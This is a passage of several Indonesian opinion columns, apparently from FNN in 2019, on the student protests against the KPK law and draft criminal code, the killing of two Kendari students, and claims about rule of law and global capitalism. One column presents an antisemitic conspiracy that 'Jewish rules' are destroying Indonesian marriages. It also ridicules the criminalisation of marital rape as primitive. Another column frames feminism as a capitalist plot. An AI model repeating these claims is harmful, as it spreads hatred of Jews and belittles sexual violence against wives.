trauma historisme di masa lampau. Kondisi yang serius ini disertai dengan ketertinggalan di bidang sosial ekonominya. Adakah niat baik dikandung anda untuk mengoreksi kesalahan masa lampau? Juga menentukan kebijakan yang tepat, cepat dan menentukan untuk mengobati duka lara, tangisan, ratapan, rintihan dan harapan mereka? Siapa yang pernah membayangkan bahwa Uni Sovyet, negeri adikuasa sebagai pengendali persenjataan nuklir pengembangan strategis, nuclear deterrent yang disebut MAD (Mutual Assured Destruction): dengan "trisulanya" (TRIAD), yang memiliki rudal balistik luncur darat antar benua. Mempunyai kapal-kapal selam berudal nuklir (polaris), dan armada pemboman strategis, disertai persenjataan terlengkap lainnya, bisa saja bubar seperti sekarang ini. Saya berfikir ada dua kemungkinan bagi Indonesia di masa datang. Pertama, Indonesia menjadi sebuah negara demokratis yang disertai labilitas integrasi politiknya tinggi. Kedua, menjadi ukiran sejarah abad mendatang. Sriwijaya adalah kerajaan nusantara pertama runtuh. Kemudian muncul kerajaan Majapahit sebagai kerajaan nusantara kedua juga runtuh. Pada pertengan abad ke 20, muncul sebuah negara yang memiliki wilayah kartografis. Juga menyerupai kedua kerajaan di atasnya, yakni Indonesia Raya. Maka, baik Sriwijaya, Majapahit dan Indonesia Raya menjadi sebuah legenda dan romantisme sejarah anak cucu manusia Nusantara. Penulis adalah Aktivis Kemanusiaan dan Pembela Orang Lemah

Selamat Jalan “Pahlawan Gerakan Mahasiswa Millenial” Randi dan Yusuf

Semestinya kematian Randi dan Yusuf menjadi peringatan dini, dan bahan evaluasi tentang buruknya menghelola pemerintah mengelola demokrasi dan perbedaan pendapat. Buruknya kekuasaan yang menutup telinga dari suara publik. Saluran politik yang disumbat dengan pendekatan represif hanya akan membuat gelombang perlawanan kekuatan masyarakat sipil yang makin bertambah lebih besar. Oleh Andi W. Syahputra Jakarta, FNN - Senjata itu akhirnya memakan korban. Randi, mahasiswa Universitas Halu Oleo Kendari tewas. Rendi meninggal karena tertembus timah panas. Polisi telah merenggut nyawanya Randi. Sontak sore itu wajah gerakan mahasiswa Indonesia berduka. Selang beberapa jam kemudian, M. Yusuf Kardawi, seorang mahasiswa di kampus yang sama mengalami nasib serupa. Yusuf tewas akibat besetan benda tajam yang dilecutkan kepada dirinya. Ketika itu Yusuf ikut melakukan aksi demonstrasi tolak rancangan KUHP dan revisi undang-undang KPK di Kendari, kemarin sore (26/9/2019). Kedua mahasiswa itu gugur sebagai martir. Peristiwa 26 September 2019 boleh jadi merupakan tonggak yang mempercepat akumulasi resistensi mahasiswa terhadap kekuasaan Jokowi. Segera selepas DPR mensahkan revisi undang-undang KPK, dan mengandekan pembahasan rancangan KUHP dalam Paripurna pekan kemarin itu. Rezim Jokowi telah menggilas kelompok yang dianggap menolak kemauan penguasa. Utamanya para mahasiswa. Perlakukan aparat keamanan yang tidak manusiawi terhadap mahasiswa membuat mereka bergemuruh. Mahasiswa menolak kehadiran aparat yang bertindak represif terhadap demonstrasi mereka. Tidak cuma itu. Bersama kelompok masyarakat lain terutama pelajar STM, mahasiswa sebetulnya gerah melihat kelakuan Jokowi yang mulai otoriter dan represif. Tidak seperti biasanya, dengan wajah yang murah senyum dan ramah. Jokowi kini mulai memainkan kartu kekerasan dalam menindak kelompok yang berbeda haluan dengan pemerintah. Pada penghujung periode pertama kekuasaannya, Jokowi yang boleh dibilang masih balitatersebut, pelan-pelan mulai menampakkan wajah tak ramah kepada yang berlawanan. Melalui operasi-operasi intelejen, penguasa memberangus oposisi, dan gencar melakukan politik belah bambu. Sedianya gerakan mahasiswa 2019 yang diproklamirkan di tengah hiruk-pikuk aksi serentak di 17 kota 25 September 2019. Gerakan ini muncul selepas mereka tidur panjang. Semula hanya dimaksudkan sebagai moral force tanpa sedikitpun menyentuh kekuasaan Presiden. Mereka hanya hendak mengawal para wakil rakyat agar tak gegabah dalam mensahkan undang-undang yang akibatnya punya konsekuensi serius di masa depan pemberantasan korupsi. Dua rancangan undang-undang itu dinilai banyak mengekang kebebasan wilayah privat. Sebaliknya, meringankan hukuman penjara bagi para koruptor maling uang rakyat. Selain itu, membuka celah intervensi negara terhadap wilayah kehidupanpribadi. Semua rencana aturang tersebut dinilai akan membreidel kehidupan mereka kelak. Mereka sadar bahwa 10 -20 tahun ke depan, mereka akan tampil sebagai penerus kepemimpinan. Mereka tak ingin masa depannya dibajak. Kesadaran inilah yang kemudian memunculkan gerakan “Gejayan Memanggil” dan berikutnya diikuti oleh aksi-aksi besar di 17 kota seantero Republik ini. Gerakan yang tak hanya dikuti oleh civitas akademika. Aksi mahasiswa juga mendapat restu dari orang tua mereka. Tidak salah bila seorang aktivis senior panutan sempat berujar, “telah lahir gerakan mahasiswa milenial 2019”. Aksi demonstrasi 25 September 2019 yang merupakan puncak protes, sekaligus kebangkitan mahasiswa mileneal itu faktanya berakhir tragis. Beberapa kota ketika aksi demonstrasi berlangsung damai, aparat keamanan melakukan provokasi dan tindakan represif terhadap mereka. Walaupun demikian, tidak ada perlawanan berarti dari para mahasiswa. Tindakan represif itu rupanya terus dilanjutkan dalam penanganan aksi-aksi demonstrasi pada hari-hari berikutnya. Puncaknya adalah Randi dan M. Yusuf Kardawi menjadi kado pahit bagi gerakan mahasiswa milenial. Mereka berdua gugur akibat perlakuan kasar dan represif aparat keamanan yang semestinya menjaga aksi-aksi mereka dengan penuh kesabaran dan penghormatan terhadap HAM. Atas nama stabilitas, tindakan represif boleh dilakukan. Tujuannya untuk menopang kekuasaan Jokowi dalam hari-hari lima tahun ke depan. Kekuasaan yang semula dinilai berwajah santun ternyata menyimpan bara kekereasan yang brutal dan bringas. Tindakan represif yang brutal dan bringas pemerintah Jokowi tidak hanya dalam menghadapi aksi-aksi mahasiswa kemarin saja. Beberapa kasus dalam suasana Pemilu, tindakan represif yang brutal dan bringas juga dilakukan. Sebut saja, peristiwa rusuh 21-22 Mei 2019 di depan Bawaslu. Ratusan warga sipil hilang dan puluhan diantaranya meninggal diterjang timah panas. Tentu kita tak berharap tindakan represif yang brutal dan bringaas itu langgeng digunakan dalam aksi-aksi mahasiswa ke depan. Randi dan M. Yusuf Kardawi adalah martir pertama bagi gerakan milenial. Kematiannya akan menjadi inspirasi perlawanan baru. Bahkan mungkin bisa menjadi rusuh politik pertama dalam sejarah pergerakan mahasiswa milenial pada era Jokowi. Semestinya kematian Randi dan Yusuf menjadi peringatan dini dan bahan evaluasi tentang buruknya pemerintah mengelola demokrasi dan perbedaan pendapat. Buruknya kekuasaan yang menutup telinga dari suara publik. Saluran politik yang disumbat dengan pendekatan represif hanya akan membuat gelombang perlawanan kekuatan masyarakat sipil yang makin bertambah lebih besar. Kapanpun perlawanan itu akan meletup dalam bentuk lain. Bisa berupa amuk, rusuh, dan amarah publik yang tak terduga sebelumnya. Intrik politik dari lingkar dalam kekuasaan yang tak mampu terselesaikan secara terbuka juga menjadi salah satu pemicu. Intrik ini akan melahirkan aksi main tikam belakang, yang sejatinya menjadi penyebab semua persoalan hari ini. Karena itu, reformasi politik 1998 adalah berkah yang tak boleh kita ingkari. Korupsi adalah komitmen bersama segenap bangsa yang mesti dilawan dengan tegas dan ketat. Sengkarut ekonomi dan politik tak dengan sendirinya pupus, kendati pemberantasan korupsi diketatkan. Dengan menggunakan pilihan politik demokrasi, sebuah persoalan bangsa bisa diatasi. Diselesaikan melalui mekanisme terbuka, adil dan penghormatan terhadap HAM. Pada panggung demokrasi itu, kebebasan berekspresi dan mengemukakan pendapat bukan sebagai penghalang, melainkan sebagai penyeimbang dan alat koreksi. Kebebasan berekspresi dan mengemukakan pendapat juga mendapat termpat yang mulia di panggung demokrasi. Oleh sebab itu, siapapun yang berkuasa hari ini jangan pernah bermimpi mengembalikan Indonesia ke masa lalu. Jangan pernah membunuh demokrasi dengan timah panas sebagai alat represif. Budayakan bangsa ini menyelesaikan setiap perbedaan pendapat dengan dialog. Bangsa ini butuh tokoh-tokoh muda kritis berintegritas untuk menyampaikan pesan kebangsaan. Untuk menuntaskan pekerjaan rumah reformasi yang belum tersentuh dan terselesaikan. Selamat jalan wahai “Pahlawan Gerakan Mahasiswa Millenial” Randi dan M. Yusuf Kardawi. Semoga adinda berdua khusnul khotimah di sisi Allah SWT, amin amin amin. Penulias adalah Praktisi Hukum dan Mantan Aktivis ‘98

Aturan Yahudi Menghancukan Rumah Tangga Indonesia

By Mohammad Naufal Dunggio Jakarta, FNN - Betapa bernafsunya para penghancur NKRI. Dengan segala cara mereka berupaya mau menghancurkan bangsa Indonesia. Bukan hanya dari sisi penegakkan hukum terhadap para koruptor, tetapi juga pada aturan berumah tangga. Mereka berusaha mengcopy dan menciplak semua aturan-aturan Yahudi. Dan dengan atas nama Hak Asasi Manusia (HAM), mereka bawa aturan-aturan Yahudi ke Indonesia untuk menjadi undang-undang Sekitar 21 tahun lalu, tepatnya di tahun 1998, sewaktu masih sekolah di Amerika, atas saran dan usaha teman warga Indonesia, ada keinginan penulis untuk membawa keluarga tinggal di Amrika. Tetapi rencana tersebut urung dilaksanakan. Karena ada urusan perundang-undang di Amerika yang menyatakan istri bisa penjarakan suami kalau memaksa istri melakukan hubungan suami istri. Nah bisa bahaya saya. Namun itulah orisinil aturan Yahudi yang dipraktekan di Amerika. Sehingga keharmonisan dan kesakralan rumah tangga sangat jarang ditemukan di Amerika. Sebab dengan aturan itu, banyak wanita atau para isteri di Amerika menjadi durhaka sama suaminya. Dan akibatnya, angka kumpul kebo jangan tanya lagi. Namun demikian, ada satu fenomena menarik yang terjadi disana. Yaitu para pria Amerika, umunya Afro Amrika senang menikah dengan wanita Indonesia yang eks Tenaga Kerja Wanita (TKW). Yang lebih menakjubkan lagi adalah para pria Amerika itu mengikuti agama istrinya, yakni dengan masuk Islam. Mereka kalau bikin acara untuk kumpul-kumpul untuk silaturahmi, selalu di hotel bintang lima. Penulis pernah bertanya kepada salah satu staf KBRI di Washinton, “kenapa para wanita kita bisa seperti itu”? Mereka sangat dimuliakan oleh suaminya orang Aemrika tersebut? Staf KBRI itu menjawab bahwa “para wanita kita itu pintar dalam melayani suami, seperti dalam aturan Islam”. Bukan seperti wanita sini yang pakai aturan Yahudi. Wajar saja kalau suami mereka begitu sangat memuliakan istrinya yang asli Indonesia. Kebetulan penulispun menyaksikan sendiri suasana tersebut secara langsung. Karena mereka suka panggil penulis untuk mengisi acara-acara pengajian di peguyuban mereka. Anehnya, di Amerika sendiri masyarakatnya sudah merasa bosan dan jenuh dengan aturan Yahudi ini. Kita malah sok-sokan mau menerapkan aturan sampah ini di Indonesia. Alasan yang digunakan adalah mereka berlindung dibalik isu hak asasi manusia. Yang lebih menyedihkan lagi, para wanita berjilbab tampil di depan sebagai agen utama penerapan aturan iblis ini, bangga mengaku-ngaku diri Islam. Inilah salah satu cara ingin menghancurkan rumah tangga rakyat Indonesia. Terutama rumah tangga kaum muslimin. Aturan-aturan Yahudi mereka bawa ke negeri ini dan dipaksakan jadi undang-undang melalui anggota DPR yang rakus dengan duit, karena sudah mau habis masa jabatannya. Undang-undang ini sama berbahaya dengan kebodohan merevisi undang-undang tentang KPK. Dua-duanya ingin menghancurkan peradaban yang beradap di negeri ini. Untuk itu, kita bangsa Indonesia harus melawan dengan segala cara untuk menggagalkan penerapan kedua undang-undang tersebut. Perlawanan juga wajibn dilakukan juga terhadapa rancangan undang-undang lain yang merugikan rakyat Indonesia. Tidak terkecuali terhadap rancangan undang-undang yang mengatur denda Rp 10 juta bila binatang peliharaan berkeliaran bebas di luar rumah. Sehingga mulai sekarang merka yang pelihara ayam pun harus hati-hati, karena bisa kena denda Rp 10 juta. Denda terhadap ayam yang berkeliaran Rp 10 juta. Sedangkan perbuatan memaksa istri berhubungan badan (perkosa istri) juga bisa dipenjara selama 12 tahun. Jadi, ayam berkeliaran dan perkosa bini hukumannya begitu berat. Sungguh undang-undang yang bernuansa primitive, karena merendahkan derajat manusia yang sudah dimuliakan oleh Sang Maha Memuliakan manusia, Allah SWT. Persoalan demi persoalan menyesakan kini menguras akal sehat rakyat Indonesia di rezim ini. Persoalan seakan tak henti-hentinya datang silih berganti. Kalau sudah begini, ini rezim harus dihentikan kalau Indonesia mau maju. Kalau Indonesia mau meminimalisir masalah. Namun bila yang mau tetap bertahan dengan kondisi ini, maka biarkan saja rezim ini berlanjut dua priode. Tunggu kehancuran bangsa ini. Semoga tidak terjadi dan berakhir sampai disini. Hanya kepada Allah jualah kita berserah diri. Wallahu A'lam bissawab ... Penulis adalah Ustadz Kampong

Mahasiwa Mengoreksi Sisi Manipulatif Rule of Law

Mahasiswa mulai mengerti bahwa kapitalis global beroperasi melalui multinational corporation dan institusi-instituti global lainnya. Dengan cara yang saling terjalin, kelompok ini menjadikan rule of law, supremasi hukum, transparansi, akuntabilitas dan unsur-unsurnya sebagai hal hebat dalam tatanan global. Tatanan ini, suka atau tidak suka, difungsikan sebagai pasar keadilan global. Oleh Dr. Margarito Kamis Jakarta, FNN - Unjuk rasa, sering disebut demonstrasi mahasiswa beberapa hari ini, menunjukan ada masalah dalam kehidupan berbangsa dan bernegara. Terlihat mereka tak cukup rela membiarkan elit politik mendefenisikan sendiri rule of law dan supremasi hukum. Mereka seperti memastikan bahwa rule of law dan supremacy of law, untuk alasan apapun bukan hukum. Rule of law adalah konsep politik tentang bagaimana sebuah negara seharusnya diselenggarakan. Dari sejarahnya gagasan ini muncul pada abad ke-17. Gagasan ini menempatkan hukum di atas segalanya. Menggantikan tatanan sebelumnya, yang menempatkan orang penguasa diatas segala segalanya. Konsep ini mencegah demagog konyol dan tiran lembut sekalipun memegang kekuasaan. Tetapi pada level tertentu rule of law dan supremacy of law bisa berubah menjadi racun untuk bangsa. Ini terlihat dimengerti mahasiswa. Rule of law dan supremacy hukum mengasumsikan bahwa hukum dibuat, diciptakan, tentu dipikirkan, direncanakan dan diarahkan. Mahasiswa mengerti bahwa dengan begitu itu, maka semua gagasan buruk, seburuk apapun bisa dimasukan ke dalam tubuh hukum itu. Dapat dipastikan mahasiswa mengerti juga bahwa rule of law dan supremacy of law menyediakan kesempatan untuk dibelokan. Dibelokan dengan cara memasukan gagasan-gagasan yang mewakili kepentingan tertentu dan menguntungkan kelompok tertentu. Mereka sepertinya tahu ini kelemahan terbesar rule of law dan supremacy of law. Menariknya, kelemahan fundamental tersebut dikenali dengan sangat baik dan jelas oleh kapitalis-kapitalis cerdas. Mereka para kapitalis tersebut lalu mencoba manipulasi rule of law dan sufremacy of law dalam makna mengubahnya. Targetnya untuk mengamankan kepentingan mereka. Tipis Sekali Mengenal sisi mematikan rule of law, memerlukan penalaran kritis. Begini nalarnya; rule of law menjadikan hukum sebagai pranata tertinggi dan formal dalam kehidupan bernegara. Pada segala aspek bernegara. Begitulah postulatnya. Kapitalis global sangat tahu tentang postulat ini. Postulat ini merangsang mereka berpikir kalau begitu nalarnya, maka kita harus menguasai pembentuk dan penegak hukum. Fakta inilah yang sekarang diprotes dengan keras oleh mahasiswa, hampir di seluruh kota-kota besar Indonesia Agar terlihat benar, maka langkah selanjutnya adalah promosikan rule of law. Diatas landasan rule of law, hukum seburuk apapun, tetapi menyandang sifat hukum sebagai hukum yang sah. Karena sah, maka harus ditaati, suka atau tidak. Toh rule of law menolak semua argument apapun, terutama legitimasi politik untuk menantang keabsahannya. Legitimasi tidak diterima oleh rule of law sebagai argumen legal menyangkal daya laku dan daya ikat hukum. Sekali negara dengan cara yang ditetapkan hukum menetapkan sesuatu menjadi peraturan, maka sejak saat itu peraturan itu sah menjadi hukum. Konsekuensinya, suka atau tidak, senang atau tidak senang, hukum itu harus ditaati. Dijadikan panduan dan tuntunan dalam bertindak.Titik. Akhirnya, rule of law terlihat indah, hebat dan mengagumkan. Keindahan itu dibantu oleh sejarahnya yang panjang. Yang kemunculan awalnya memancarkan naiknya mozaik peradaban baru. Pada Negara-negara barat, ide ini menemukan elannya pada akhir abad ke-17. Diawali dengan glorius revolution di Inggris pada tahun 1688. Revolusi ini mengubah secara radikal kebiasaan dan dominanya supremasi orang, dan Raja, ke supremasi hukum. Revolusi ini mengubah secara radikal institusi-isntitusi politik korup menjadi inklusif. Tetapi itu hanya sisi luar, bukan sisi dalamnya. Sisi internal rule of law, khususnya hukumnya menyediakan ruang, substansinya dan menampung gagasan kolutif, gelap dan hitam. Sisi ini diketahui benar bahwa para perencana penguasaan sumberdaya ekonomi dunia. Pada yang umumnya meraka itu adalah kaum kapitalis. Itu sebabnya kelompok pecundang yang tak terjamah ini selalu bergerak. Mereka dengan mudah semua sumberdaya yang tersedia menguasai hukum. Dengan cara itu membawa mereka tetap menjadi kelompok tak terjamah oleh hukum. Mahasiswa mulai mengerti bahwa kapitalis global beroperasi melalui multinational corporation dan institusi-instituti global lainnya. Dengan cara yang saling terjalin, kelompok ini menjadikan rule of law, supremasi hukum, transparansi, akuntabilitas dan unsur-unsurnya sebagai hal hebat dalam tatanan global. Tatanan ini, suka atau tidak suka, difungsikan sebagai pasar keadilan global. Pasar global yang juga berfungsi sebagai pasar gagasan inilah, maka multinational corporation dan lembaga multinasional resmi lainnya mendesakan gagasan-gagasan mereka. Semua gagasan itu bernilai ekonomis. Gagasan feminism, multikulturalisme, seks bebas, dan sejenis sebagai tipikal kesamaan hak, dijejalkan habis-habisan. Gagasan-gagasan itu dibungkus dengan pemikiran konstitusionalisme. Konsep besarnya adalah Cosmopolitan Constitution dan Global Constitutionalism. Orang berakal tahu bahwa cara itu cerdas, tetapi mematikan. Orang berakal tahu kaki tangan kapitalis global ambil bagian mengampanyekan semua gagasan di atas. Termasuk tahu cara mereka merambah kakayaan masyarakat local. Caranya, dengan mengampanyekan apa yang disebut local wisdom. Mereka membenarkan negara berperan besar dalam kehidupan masyarakat, tetapi disisi lain mereka juga mengasingkan negara dari kehidupan masyarakat itu. Mengakui hak masyarakat lokal yang memiliki asset ekonomi adalah cara kapitalis mengasingkan negara. Menghormati masyarakat lokal itu, bernilai hukum dengan cara membiarkan masyarakat bersangkutan mengatur sendiri kehidupannya. Mau diapakan asset ekonomi mereka, sepenuhnya urusan mereka. Itu hebatnya. Padahal konsekuensinya tersedia jalan hukum bagi para kapitalis yang hendak menguasai asset ekonomi dalam masyarakat itu bernegosiasi langsung dengan mereka. Negara tidak bisa ikut campur, karena hukum telah menetapkan batas jangkau negara terhadap masyarakat itu. Tujuan akhirnya menguasai sumberdaya ekonomi di dalamnya. Tidak lebih. Kesadaran Subyektif Semua tipikal rule of law di atas jelas mematikan. Itu sebabnya demo mahasiswa kali ini, seperti yang sudah-sudah, mesti diterima dengan lapang dada. Demo ini, tentu dengan serangkaian kelemahan kecil yang tersaji secara kasat mata. Mesti harus diterima sebagai kekuatan lain yang dimiliki bangsa ini dalam memelihara eksistensi hukum. Tidak ada omong kosong terbesar selain mengatakan bahwa demokrasi terpelihara sepenuhnya dengan mengandalkan rule of law dan supremasi hukum. Sejarah telah cukup menyajikan kehebatannya bahwa demokrasi, dimanapun memerlukan norma dan kaidah non hukum untuk memelihara eksistensi, dan mempromosikan sisi baiknya. Demokrasi akan mematikan. Dimokrasi bisa membuat banyak orang tak berdaya, bila hanya mengandalkan hukum. Agar tak mematikan, demokrasi di negeri manapun di dunia, memerlukan dan menyodorkan, serta mengandalkan norma-norma non hukum untuk memeliharanya. Norma-norma non hukum itu, idealnya dimengerti dan dipraktikan oleh elit penguasa, ekonomi dan politik. Norma-norma non hukum itu harus dimiliki oleh pelaksana semua cabang kekuasaan; pemerintah, legislatif dan yudikatif. Pelaksana kekuasaan-kekuasaan ini harus mengerti betul tentang masalah ini. Tidak hanya itu, mereka juga harus memiliki keberanian untuk menunaikannya. Norma itu bisa berbentuk “tidak mentang-mentang” atau “tahan diri” atau “toleransi.” Karena norma ini bersifat non hukum, maka diperlukan kebijaksanaan luarbiasa. Diperlukan kematangan jiwa yang luar biasa, khas orang bijak. Orang bijak tahu dan mampu mengenali sombong dan angkuh. Tahu juga bahwa sombong dan angkuh selalu membakar dirinya, juga membakar bangsa. Norma itu, seperti ditunjukan pada sejarah demokrasi di negeri lain, berfungsi sebagai penyaring. Juga berfungsi sebagai benteng dan penangkal gagasan buruk. Benteng ini jauh lebih tahan dari hukum, rule of law. Mereka tahu bahwa sesuatu yang sah menurut hukum, mungkin tidak pantas menurut norma-norma ini. Tetapi memang beroperasinya norma-norma jenis ini sepenuhnya bersandar pada kesadaran subyektif setiap orang. Penulis adalah Pengajar Hukum Tata Negara Fakultas Hukum Universitas Khairun Tertante

Amukan Mahasiswa

Mahasiswa membaca, meta-yuris terhadap produk hukum itu "kering dari nalar keberpihakan kepada rakyat". Nalar kekuasaan yang lebih mendominasi. Bukan nalar keadilan social demi rakyat. Karena itu "kecurigaan" mahasiswa menjadi sangat wajar dan perlu. Sebab kekuasaan tidak memberikan penjelasan yang terbuka pada mahasiswa dan masyarakat luas. Oleh Dr. Ahmad Yani SH MH.. Jakarta, FNN - Sudah Dua hari ini amarah mahasiswa terus menggeliat. Interupsi yang sangat keras, bergerak dari berbagai arah. Menghiasi seluruh ruang ruang dan media. Publik tersentak melihat itu, riuh tepuk tangan menyambut. Amarah terjadi di berbagai daerah, dari semua kampus. Sebuah gelombang kemarahan besar yang menggetarkan singgasana kekuasaan. Wajah kekuasaan kelihatannya lesu, memandang protes sosial yang begitu membludak, tak disangka awet dan semakin menggelinding seperti bola salju. Ini amarah yang "liar". Tidak didominasi oleh remote kontrol "makelar" atau oligarki politik. Gerakan yang lahir dari perasaan yang tercabik-cabik oleh ketidakadilan dan tirani regulasi kekuasaan. Saya memantau "kerumunan" amarah itu. Melihat wajah pemuda yang bersemangat dengan keringat di bawah asap gas air mata dan tembakan water canon yang keras. Mereka tidak mundur dan putus asa. Justru semakin kuat dan membludak. Solidaritas bahkan meningkat. Mahasiswa di berbagai daerah seakan-akan menerima transfer emosi itu. Kemudian sepanjang hari amarah itu menghasilkan letupan-letupan besar. Potret ini menggambarkan mekarnya idealisme dalam diri mahasiswa. Idealisme yang lahir dari kegelisahan yang terakumulasi, karena negara sedang dalam keadaan tidak baik. Panggilan sejarah telah tiba, siklus 20 tahunan semakin menguat. Dulu ada sejarah dari para legenda pergerakan, seperti angkatan 66, 74 dengan tokoh sentralnya Hariman Siregar. Angkatan 78 munculnya Rizal Ramli dan kawan kawan. Angkatan 80 Syahganda Nainggolan, Eggie, Fery Julianto, Jumhur Hidayat, dan kawan-kawan. Angkatan 98, ada Fahri Hamzah, Anies Baswedan, Ubaidilla Badrun, Masinton Pasaribu, Adrianto, Pius, Fadli Zon, Andi Rahmat, Rama Pratama dan kawan-kawan, yang melihat dengan tajam kejahatan kekuasaan otoriter Orde Baru. Mereka lalu berteriak memecahkan ufuk untuk melaporkan ketidakadilan itu pada Tuhan. Tuhan mendengar dan meluluhlantakkan kezaliman itu. Arogansi kekuasaan tampil dengan wajah anti kritik dan anti dialog yang selalu dipersepsikan oleh kalangan mahasiswa untuk dilawan dan ditumbangkan. Rakyat menjerit kekuasaan melanggeng. Keadilan menjadi "yatim piatu". Kebenaran hanya menjadi milik segelintir orang yang sedang berkuasa. Kesejahteraan kemanakah engkau pergi meninggalkan para mustadafin, yang merana karena penindasan? Kekuasaan buta terhadap kemeralatan, tuli terhadap rintihan rakyat. Inilah yang memompa emosi mahasiswa. Mereka gelisah melihat kondisi politik dan kebangsaan yang semakin jauh dari janji janji kemerdekaan. Sejarah kini mengulang sebuah peristiwa, sebuah peristiwa yang pernah dialami oleh kita di masa lalu. Sejarah tentang perlawanan kaum intelektual terhadap kekuasaan yang dzolim. Panggilan sejarah yang memekakkan telinga, dan menggetarkan nurani. Menyeru kita dalam satu nafas perubahan yaitu menuju Indonesia yang maju, tanpa monopoli kebenaran di tangan penguasa. Mahasiswa dipanggil lagi untuk menunaikan tugasnya, tugas untuk mengibarkan bendera idealisme yang selama ini terhenti pasca refirmasi 20 tahun lalu. Kenapa Mahasiswa Begitu Marah? Revisi beberapa undang undang seperti UU KPK, KUHP, Pemasyarakatan, Pertanahan, Ketanagaan kerja, dan Pembentukan UU PKS, dianggap sebagai pemicu utamanya. Politik hukum dalam pembentukan UU oleh DPR dan Presiden menurut mahasiswa tidak berpihak pada “kepentingan rakyat”. Tetapi saya membaca sebuah gejala yang lebih besar terkait gerakan mahasiswa. Masalah Politik hukum dalam pembentukan UU yang diduga ada “penyelundupan kepentingan tertentu “ yang jauh dari semangat demokrasi pancasila. Hanya kepentingan oligarki pemilik modal dan kekuasaan semata. Spirit Pancasila adalah merupakan meta-yuris bagi politik hukun dalam pembentukan UU tidak dijadikan landasan. DPR dan Pemerintah menjauh dari spirit Pancasila dalam mengeluarkan produk hukum. Seharusnya setiap produk hukum, harus mencerminkan meta-yuris itu. Bahwa setiap peraturan perundang-undangan, wajib mencerminkan nilai-nilai ketuhanan, kemanusiaan, persatuan, permusyawaratan dan berkeadilan. Mahasiswa membaca, meta-yuris terhadap produk hukum itu "kering dari nalar keberpihakan kepada rakyat". Nalar kekuasaan yang lebih mendominasi. Bukan nalar keadilan social demi rakyat. Karena itu "kecurigaan" mahasiswa menjadi sangat wajar dan perlu. Sebab kekuasaan tidak memberikan penjelasan yang terbuka pada mahasiswa dan masyarakat luas. Bukan hanya regulasi yang tidak memberikan kepastian dan keadilan. Masalah lain yaitu, tersumbatnya aspirasi. Terputusnya komunikasi antara elit penguasa dan rakyat, serta tirani regulasi. Intinya bukan hanya masalah UU KPK dan RUU KUHP, tetapi masalah bangsa yang secara keseluruhan. Sebuah ilustrasi yang menarik untuk memahami gejala gerakan mahasiswa saat ini. Ilustrasi itu dapat kita baca dalam karya yang ditulis George Orwell. Hidup dalam ketimpangan, penindasan dan, keinginan untuk bebas dan berdiri di atas kaki sendiri mendorong makhluk dalam "kandang" suntuk bergerak menantang kekuasaan tuan mereka. Sekelompok binatang yang digambarkan dalam Animal Farm, mampu "mengguncang singgasana" tuan mereka dan mengusirnya dari tempat tinggalnya karena persoalan ketimpangan, ketidakadilan dan ancaman tirani sang tuan. Hasrat untuk hidup bebas dari segala penindasan, kemauan untuk merubah keadaan yang sudah mulai tidak bersahabat dengan nurani keadilan, mendorong gerakan perubahan yang sangat kuat, bahkan mempersingkat sirkulasi kekuasaan. Pada saat yang sama kondisi ekonomi, kemerosotan, dan perilaku penguasa dan elite politik yang menimbulkan distrust dan memperkecil legitimasi, sehingga mempermudah terjadinya gejala pembangkangan itu. Masalah-masalah inilah yang membuat gerakan mahasiswa itu semakin menguat, bahkan membentuk satu kekuatan moral yang kuat bagi mahasiswa untuk memperhebat tekanan kepada kekuasaan. Kemana Arah Gerakan Mahasiswa? Banyak analisa yang bertebaran bahwa gerakan mahasiswa akan berhenti pada persoalan rencana revisi beberapa UU dan Pembentukan UU baru, Ujung dari gerakan ini seperti biasanya akan berhenti dan tenggelam dengan munculnya isu baru. Tetapi menurut saya, pergerakan ini akan bertahan sampai menemukan titik klimaksnya. Yaitu terpecahnya masalah ekonomi , keadilan dan sosial dalam masyarakat. Gerakan ini menurut saya tidak berakhir hanya karena tuntutan sebatas dengan Revisi dan pembentukan Peraturan Perundang-undangan yang sedang diperbincangkan, tetapi lebih jauh, yaitu untuk mengakhiri ketimpangan sosial, ekonomi dan ketidak adilan yang dialami dan dirasakan oleh rakyat. Gerakan Mahasiswa sudah berjalan, diberbagai daerah tuntutannya yang awal berbeda seperti persoalan pertanahan, defisit BPJS dan kenaikan Biaya BPJS, Ekonomi yang sedang tekor, kenaikan BBM, Tarif Dasar Listrik (TDL), tenaga kerja asing (cina), kebakaran hutan yang meluas terjadi di mana-mana dan penegakkan hukum yang timpang. Kemarahan mahasiswa yang pada awal dipicu oleh hal yang sektoral, kini berubah menjadi besar. "Menggonggong" kekuasaan yang tidak mampu memberikan solusi bagi banyaknya persoalan kebangsaan dan kenegaraan yang terjadi. Dengan demikian, jelas gerakan mahasiswa ini merupakan moral of force ditengah runtuhnya moralitas elit. Gerakan Mahasiswa ada sosial of control ditengah masyarakat yang sudah mulai kehilangan daya kontrolnya akibat kekuasaan yang tidak memihak kepentingan rakyat. Gerakan Mahasiswa adalah agen of change ditengah kondisi bangsa yang sudah tidak punya arah lagi. Oleh sebab itu gerakan mahasiswa hari ini merupakan jawaban atas akumulasi persoalan bangsa yang dinilai tidak mampu lagi diselesaikan oleh kekuasaan dan elite politik. Bahkan kalau kekuasan terus merawat kegelisahan mahasiswa ini, tidak menutup kemungkin kekuasaan lepas dari singgasanannya. Seperti Bola Salju Pada saat gerakan semakin kuat, singasana kekuasaan merasa gerah, maka muncullah narasi ditunggangi. Narasi ditunggangi ini saya menyebutnya sebagi "tirani narasi". Dimana setiap Gerakan mahasiswa selalu dituduh didalangi oleh pihak tertentu, tanpa alasan dan data yang jelas. Itu bagian dari tirani narasi. Tirani narasi bertujuan untuk membungkam dan meredam gerakan mahasiswa. Kekuasaan sengaja menciptakan narasi ditunggangi untuk membuat apatis para mahasiswa yang berujung pada saling curiga. Namun yang terjadi sebaliknya, gerakan mahasiswa tidak redam, malah justru menggelinding semakin besar. Dalam tirani narasi itu, muncul gerakan yang mencengangkan. Sekelompok siswa Sekolah Teknik Menengah (STM) bergerak secara massif dan sangat berani. Gelombang gerakan Siswa ini bangkit kembali setelah puluhan tahun tengelam, yaitu gerakan KAPI yang ikut menumbangkan kekuasaan orde lama. Gerakan yang begitu lincah dan berani, serta “ Garang” dari siswa STM menimbulkan tanda tanya. Bahkan keberanian mereka justru mengalahkan keberanian seniornya yang sudah menempuh pendidikan di perguruan tinggi. Disaat narasi yang memojokkan gerakan mahasiswa, justru gerakan semakin menguat. Simpati masyarakat begitu kuat, dan dengan simpati pula siswa STM bergerak. Ini solidaritas yang sulit dibaca dengan analisa biasa, sebab solidaritas ini justru datang dari kelompok siswa yang dianggap masih labil. Bagi Saya ini sebuah gejala yang harus diperhatikan dan butuh wawasan dan 